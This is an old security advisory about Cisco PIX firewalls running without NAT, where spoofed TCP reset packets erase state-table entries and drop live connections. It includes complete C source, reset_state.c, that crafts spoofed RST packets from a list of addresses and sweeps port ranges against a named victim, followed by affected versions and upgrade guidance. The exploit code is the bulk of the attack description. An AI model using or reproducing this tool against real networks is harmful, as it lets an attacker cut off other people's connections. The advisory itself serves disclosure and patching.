COMMAND
PIX DMZ
SYSTEMS AFFECTED
Cisco
PROBLEM
Andrew Alston found following. If you run routable ips on your
internal interface on your pix, and routeable ips on your
external interface, so the pix is not running nat, the pix keeps
a state table of everything going on. Anything that is not in
your state table that attempts to come in from the outside is
denied, even if there is a conduit in place to permit anything.
Which means that you have to establish a connection from your
internal network to your external network before anything
external can send data back. This is a really nice feature,
unfortunatly there is a bit of a bug that Andrew found in this.
On recieving a RST packet (TCP Reset) from a given host with the
correct source and destination port, the PIX will drop the state
entry for that particular connection, which means the tcp
connection dies due to the fact that no state entry the external
box can no longer talk to the internal box.
So, if we take a standard raw ip packet, give it a tcp header,
and set the source ip as a machine that your internal box is
connected to, and the destination ip as your internal machine,
set the source port on the spoofed ip as the port the person is
connected to, set your destination port on your destination ip
cyclically to possible source ports on his side, and send resets,
it will drop the persons state table entry, cutting him off from
the box he is connected to.
This exploit does NOT work against firewall-1 due to an
interesting technique used to fix the problem, when firewall-1
recieves a TCP Reset, it simply drops its state table timeout
from 3600 seconds to 50 seconds, and should no data be recieved
between the two hosts within 50 seconds the entry is removed from
the state tables... however we might add that as far as we can
see this opens up another interesting bug in firewall-1, which
could lead to the possibility of a man in the middle attack,
though further details will follow about that in another post.
Because this does NOT work in a NAT configuration, in theory,
although this hasnt been tested, the work around would be to map
all global ips on your external interface, and then static nat
the ports you want accessible on your DMZ through to localnet ip
addresses.
/* reset_state.c (c) 2000 Citec Network Securities */
/* The code following below is copyright Citec Network Securities */
/* Code was developed for testing, and is written to compile under */
/* FreeBSD */
#define __BSD_SOURCE
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <unistd.h>
#include <time.h>
#include <netdb.h>
struct slist {
struct in_addr spoof;
struct slist *link;
}; /* Spoof list */
int
main(int argc, char *argv[])
{
int i, int2;
int sock; /* Socket stuff */
int on = 1; /* Socket stuff */
struct sockaddr_in sockstruct; /* Socket stuff */
struct ip *iphead; /* IP Header pointer */
struct tcphdr *tcphead; /* TCP Header pointer */
char evilpacket[sizeof(struct ip) + sizeof(struct tcphdr)];
/* Our reset packet */
int seq, ack; /* Sequence and Acknowledgement #'s */
FILE *spooffile; /* Spoof file */
char *buffer; /* Spoof file read buffer */
struct slist *scur, *sfirst; /* Spoof linked list pointers */
char src[20], dst[20]; /* Work around for inet_ntoa static */
/* Pointers when using printf() */
int sourcefrom, sourceto, destfrom, destto; /* CMD Line ports */
int target; /* Target address from inet_addr() */
if(argc < 6) {
fprintf(stderr, "Usage: %s spoof_file target sps spe dps dpe\n"
"target = your victim\n"
"sps = Source port start\n"
"spe = Source port end\n"
"dps = Destination port start\n"
"dpe = Destination port end\n", argv[0]);
exit(-1);
}
else {
sourcefrom = atoi(argv[3]);
sourceto = atoi(argv[4]);
destfrom = atoi(argv[5]);
destto = atoi(argv[6]);
};
if(sourcefrom > sourceto) {
printf("Error, start source port must be less than end source port\n");
exit(-1);
}
else if(destfrom > destto) {
printf("Error, start dest port must be less than end dest port\n");
exit(-1);
};
printf("Used spoof file %s\n"
"Destination: [%s] ports: [%d -> %d]\n"
"Target source ports: [%d -> %d]\n",
argv[1], argv[2], destfrom, destto, sourcefrom, sourceto);
sleep(1);
bzero(evilpacket, sizeof(evilpacket));
/* Clean our reset packet */
sfirst = malloc(sizeof(struct slist));
scur = sfirst;
scur->link = NULL; /* Setup our spoof linked list */
if(!(buffer = malloc(25))) {
perror("malloc");
exit(-1);
}; /* Allocate for read buffer */
if ((spooffile = fopen((char *) argv[1], "r")) <= 0) {
perror("fopen");
exit(-1); /* Open our spoof file */
} else {
while (fgets(buffer, 25, spooffile)) { /* Read till EOF */
if (!(inet_aton(buffer, &(scur->spoof))))
printf("Invalid address found in victim file.. ignoring\n");
else {
scur->link = malloc(sizeof(struct slist));
scur = scur->link;
scur->link = NULL; /* Cycle l.list */
}
}; /* End of while loop */
}; /* End of if {} else {} */
free(buffer); /* Free up our read buffer */
fclose(spooffile); /* Close our spoof file */
scur = sfirst; /* Set spoof list current to first */
if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("socket");
exit(-1);
} /* Allocate our raw socket */
if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *) &on, sizeof(on)) < 0) {
perror("setsockopt");
exit(-1);
} /* Set socket options for raw iphead */
sockstruct.sin_family = AF_INET;
iphead = (struct ip *) evilpacket;
tcphead = (struct tcphdr *) (evilpacket + sizeof(struct ip));
/* Align ip and tcp headers */
iphead->ip_hl = 5; /* Ip header length is 5 */
iphead->ip_v = 4; /* ipv4 */
iphead->ip_len = sizeof(struct ip) + sizeof(struct tcphdr);
/* Length of our total packet */
iphead->ip_id = htons(getpid()); /* Packet ID == PID # */
iphead->ip_ttl = 255; /* Time to live == 255 */
iphead->ip_p = IPPROTO_TCP; /* TCP Packet */
iphead->ip_sum = 0; /* No checksum */
iphead->ip_tos = 0; /* 0 Type of Service */
iphead->ip_off = 0; /* Offset is 0 */
tcphead->th_win = htons(512); /* TCP Window is 512 */
tcphead->th_flags = TH_RST; /* Reset packet */
tcphead->th_off = 0x50; /* TCP Offset 0x50 */
iphead->ip_dst.s_addr = inet_addr(argv[2]);
srand(getpid()); /* Seed for rand() */
while (scur->link != NULL) {
seq = rand() % time(NULL); /* Randomize our #'s */
ack = rand() % time(NULL); /* Randomize ack #'s */
sockstruct.sin_port = htons(rand() % time(NULL));
iphead->ip_src = scur->spoof; /* Set the spoofed address */
sockstruct.sin_addr = scur->spoof;
for(i = sourcefrom; i <= sourceto; i++) {
for(int2 = destfrom; int2 <= destto; int2++) {
usleep(2); /* Sleep 5ms between packets */
seq += (rand() %10)+250;
ack += (rand() %10)+250;
tcphead->th_seq = htonl(seq);
/* Set sequence number */
tcphead->th_ack = htonl(ack);
/* Set ack number */
tcphead->th_dport = htons(int2);
/* Set destination port */
tcphead->th_sport = htons(i);
/* Set source port */
snprintf(src, 20, "%s", inet_ntoa(iphead->ip_src));
snprintf(dst, 20, "%s", inet_ntoa(iphead->ip_dst));
/* Copy info to src and dst for printing */
printf("TCP RESET: [%s:%d] -> [%s:%d]\n", src, ntohs(tcphead->th_sport), dst, ntohs(tcphead->th_dport));
sendto(sock, &evilpacket, sizeof(evilpacket), 0x0,
(struct sockaddr *) & sockstruct, sizeof(sockstruct));
/* Send our evil packet */
};
};
scur = scur->link; /* Cycle the spoof ips */
}
scur = sfirst;
return (1);
};
This vulnerability exists in all Cisco Secure PIX Firewall
software releases up to and including 4.2(5), 4.4(4), 5.0(3) and
5.1(1). The defect has been assigned Cisco bug ID CSCdr11711.
SOLUTION
For the version listed in the left-most column below, customers
should upgrade to at least the version shown in the center
column. Please note the hardware requirements following the
table.
+-----------------------------+--------------------------+---------------+
| |Projected first fixed | |
|Affected Version |regular release (fix will |Date Available |
| |carry forward into all | |
| |later versions) | |
+-----------------------------+--------------------------+---------------+
|All versions of Cisco Secure | | |
|PIX up to version 4.2(5) | | |
|(including 2.7, 3.0, 3.1, | 4.4(5) | 2000-06-09 |
|4.0, 4.1) | | |
+-----------------------------+--------------------------+---------------+
|All 4.3.x and 4.4.x versions | | |
|up to and including version | 4.4(5) | 2000-06-09 |
|4.4(4) | | |
+-----------------------------+--------------------------+---------------+
|Version 5.0.x up to and | | |
|including version 5.0(3) | 5.1(2) | 2000-06-09 |
+-----------------------------+--------------------------+---------------+
|Version 5.1.1 | 5.1(2) | 2000-06-09 |
+-----------------------------+--------------------------+---------------+
A 128MB upgrade for the PIX Firewall is necessary if:
* Version 4.3 or 4.4 is used on a PIX 'Classic' (excluding
PIX10000, PIX-510, PIX-520, and PIX-515)
Or
* Version 5.0 is used on a PIX 'Classic', PIX10000, or PIX-510
(excluding PIX-520 and PIX-515)
As with any new software installation, customers planning to
upgrade should carefully read the release notes and other
relevant documentation before beginning any upgrade. Also, it is
important to be certain that the new version of Cisco Secure PIX
Firewall software is supported by your hardware and especially
that enough memory is available.
There are no workarounds for this defect. Customers are urged to
upgrade to the versions of code containing the fix for CSCdr11711.